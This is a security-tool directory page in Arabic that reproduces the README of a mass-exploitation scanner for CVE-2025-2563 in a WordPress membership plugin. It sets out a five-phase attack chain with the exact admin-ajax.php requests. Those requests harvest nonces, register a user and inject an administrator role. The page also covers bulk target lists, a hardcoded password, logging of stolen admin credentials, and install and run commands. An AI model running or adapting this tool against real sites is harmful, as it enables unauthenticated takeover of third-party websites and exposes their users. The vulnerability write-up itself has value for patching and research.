Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2025-2563 — إضافة ووردبريس User Registration & Membership قبل الإصدار 4.1.2 لا تمنع المستخدمين من تعيين دور حساباتهم عند تفعيل الوظيفة الإضافية Membership Addon، مما يؤدي إلى حدوث تصعيد في الصلاحيات ويتيح للمستخدمين غير المصادَق عليهم الحصول على صلاحيات المسؤول. | Kitploit
أدوات/GitHubGitHub/nxploited/cve-2025-2563
تصعيد الامتيازاتتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليمالفريق الأحمرتطوير الحمولات
GitHubnxploited/cve-2025-2563

CVE-2025-2563

إضافة ووردبريس User Registration & Membership قبل الإصدار 4.1.2 لا تمنع المستخدمين من تعيين دور حساباتهم عند تفعيل الوظيفة الإضافية Membership Addon، مما يؤدي إلى حدوث تصعيد في الصلاحيات ويتيح للمستخدمين غير المصادَق عليهم الحصول على صلاحيات المسؤول.

119منذ 6 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
عرض المستودع

CVE-2025-2563

المكوّن الإضافي User Registration & Membership في ووردبريس قبل الإصدار 4.1.2 لا يمنع المستخدمين من تعيين دور حساباتهم عند تفعيل إضافة العضوية (Membership Addon)، مما يؤدي إلى ثغرة تصعيد صلاحيات وتتيح للمستخدمين غير المصادَق عليهم الحصول على صلاحيات المدير (Admin).

Typing SVG


🔴 نظرة عامة على الثغرة

CVE-2025-2563 — تصعيد صلاحيات غير مصادَق عليه عبر حقن الدور في إضافة العضوية

الحقلالتفاصيل
CVE IDCVE-2025-2563
مستوى الخطورةعالية (HIGH) — درجة CVSS v3.1: 8.1
ناقل الهجومCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
ADPCISA-ADP
البرنامج المتأثرالمكوّن الإضافي User Registration & Membership لووردبريس
الإصدارات المتأثرةجميع الإصدارات قبل 4.1.2
نوع الثغرةإدارة صلاحيات غير سليمة — إنشاء حساب مسؤول دون مصادقة
المصادقة المطلوبةلا شيء
CWECWE-269: إدارة صلاحيات غير سليمة

الوصف:
المكوّن الإضافي User Registration & Membership لووردبريس في الإصدارات قبل 4.1.2 يفشل في فرض قيود الأدوار من جانب الخادم عند تفعيل Membership Addon. أثناء عملية تسجيل العضوية، يقبل المكوّن حقل role المقدَّم من المستخدم داخل إجراء AJAX user_registration_membership_register_member دون التحقق منه مقابل قائمة مسموحة من جانب الخادم. يمكن لمهاجم بعيد غير مصادَق تمامًا إرسال سلسلة AJAX من خطوتين مصممة بعناية — أولًا تسجيل حساب مستخدم جديد عبر user_registration_user_form_submit، ثم حقن "role": "administrator" في حمولة members_data الخاصة باستدعاء العضوية — لإنشاء حساب Administrator بكامل الصلاحيات في ووردبريس بصمت. يؤدي هذا إلى اختراق كامل للموقع دون الحاجة إلى أي مصادقة أو تفاعل من المستخدم.


🛠️ وصف الأداة

هذه أداة ماسح استغلال جماعي (Proof-of-Concept — PoC) تستهدف تثبيتات ووردبريس التي تشغّل إصدارًا قابلًا للاستغلال من المكوّن الإضافي User Registration & Membership مع تفعيل Membership Addon. تنفّذ الأداة استغلالًا ذكيًا متعدد المراحل يتضمن الاكتشاف التلقائي، وجمع الـ nonces، والتسجيل القائم على التركيبات، وحقن الدور، والتحقق من صلاحيات المدير.

🔗 سلسلة الهجوم الكاملة

[Phase 1 — Discovery]
  GET /membership-pricing/        →  Extract membership_id, pricing links
  GET /membership-registration/   →  Extract form_id, nonces, security tokens
  GET /registration/              →  Fallback registration page

          ↓

[Phase 2 — Nonce Extraction]
  Parse: ur_membership_frontend_localized_data._nonce
  Parse: ur_frontend_form_nonce, security, form_id, membership_id

          ↓

[Phase 3 — Registration (Combo Attack)]
  POST /wp-admin/admin-ajax.php
  action=user_registration_user_form_submit
  form_data=[{user_login, user_email, user_pass, membership_field, ...}]
  security=<token>  |  ur_frontend_form_nonce=<nonce>
  → Try all valid combos until success=true

          ↓

[Phase 4 — Role Injection (CVE-2025-2563)]
  POST /wp-admin/admin-ajax.php
  action=user_registration_membership_register_member
  members_data={"role":"administrator","membership":"<id>",...}
  _wpnonce=<membership_js_nonce>
  → Server assigns administrator role to newly created user

          ↓

[Phase 5 — Admin Verification]
  POST /wp-login.php              →  Login with new credentials
  GET  /wp-admin/                 →  Check adminmenu / wp-admin-bar
  GET  /wp-admin/users.php        →  Confirm manage_options access
  GET  /wp-admin/plugin-install.php →  Confirm plugin-install access

          ↓

[Save to Nx_admin.txt]
  Format: [timestamp] https://target.com/wp-login.php user:<u> pass:<p>

📋 المتطلبات

متطلبات النظام

  • Python 3.8 أو أحدث
  • Linux / Windows / macOS

تبعيات بايثون

pip install requests urllib3 rich

أو عبر ملف المتطلبات:

pip install -r requirements.txt

requirements.txt:

requests>=2.28.0
urllib3>=1.26.0
rich>=13.0.0

🚀 التثبيت

# Clone the repository
git clone https://github.com/Nxploited/CVE-2025-2563.git
cd CVE-2025-2563

# Install dependencies
pip install -r requirements.txt

# Run the tool
python3 CVE-2025-2563.py

⚙️ الاستخدام

التشغيل الأساسي

python3 CVE-2025-2563.py

تستخدم الأداة واجهة طرفية تفاعلية بالكامل مدعومة بمكتبة Rich.


🗂️ تنسيق قائمة الأهداف

أنشئ ملفًا نصيًا عاديًا (الافتراضي: list.txt) — هدف واحد في كل سطر:

https://target1.com
https://target2.com
http://target3.com
target4.com

الأهداف التي لا تحتوي على http:// أو https:// تُسبَق تلقائيًا بـ https://.


🖥️ المطالبات التفاعلية

Targets file [list.txt]:                    list.txt
Threads [3]:                                5
HTTP timeout (seconds) [10]:                10
Max registration attempts per target [20]:  20

كلمة المرور مثبتة داخليًا كـ Nx_adminSA لجميع محاولات التسجيل.


🔬 شرح تفصيلي للاستغلال

الخطوة 1 — اكتشاف متعدد الصفحات

تفحص الأداة ثلاث صفحات تلقائيًا لكل هدف:

الصفحةالغرض
/membership-pricing/استخراج membership_id وروابط التسجيل
/membership-registration/استخراج رموز النماذج والـ nonces ومعرفات الحقول
/membership-registration/?membership_id=<id>استخراج نموذج خاص بالخطة
/registration/صفحة تسجيل عامة احتياطية

الخطوة 2 — استخراج الرموز

تُستخرج الرموز التالية من HTML الخام وجافاسكربت المضمّن:

الرمزالمصدر
_nonceكائن جافاسكربت ur_membership_frontend_localized_data
ur_frontend_form_nonceحقل إدخال مخفي أو كائن جافاسكربت
securityuser_registration_params.user_registration_form_data_save
form_idحقل إدخال مخفي ur-user-form-id أو كائن جافاسكربت
membership_idحقل إدخال راديو urm_membership أو سلسلة استعلام في الرابط

الخطوة 3 — تسجيل AJAX (هجوم مركّب)

POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest

action=user_registration_user_form_submit
&security=<token>
&form_data=[{"field_name":"user_login","value":"Nxploited_482",...},
            {"field_name":"membership_field_1771350090","value":"<mid>","field_type":"radio"}]
&form_id=<id>
&ur_frontend_form_nonce=<nonce>
&is_membership_active=<mid>
&membership_type=<mid>

تتنقل الأداة تلقائيًا عبر جميع التركيبات المكتشفة من security وfrontend_nonce وform_id وmembership_id حتى تتلقى استجابة success: true.


الخطوة 4 — حقن الدور عبر AJAX (الاستدعاء القابل للاستغلال)

POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest

action=user_registration_membership_register_member
&_wpnonce=<membership_js_nonce>
&members_data={"membership":"<id>","payment_method":"free",
               "role":"administrator","username":"Nxploited_482",...}
&form_response={"username":"Nxploited_482","registration_type":"membership"}
تنزيل الأداة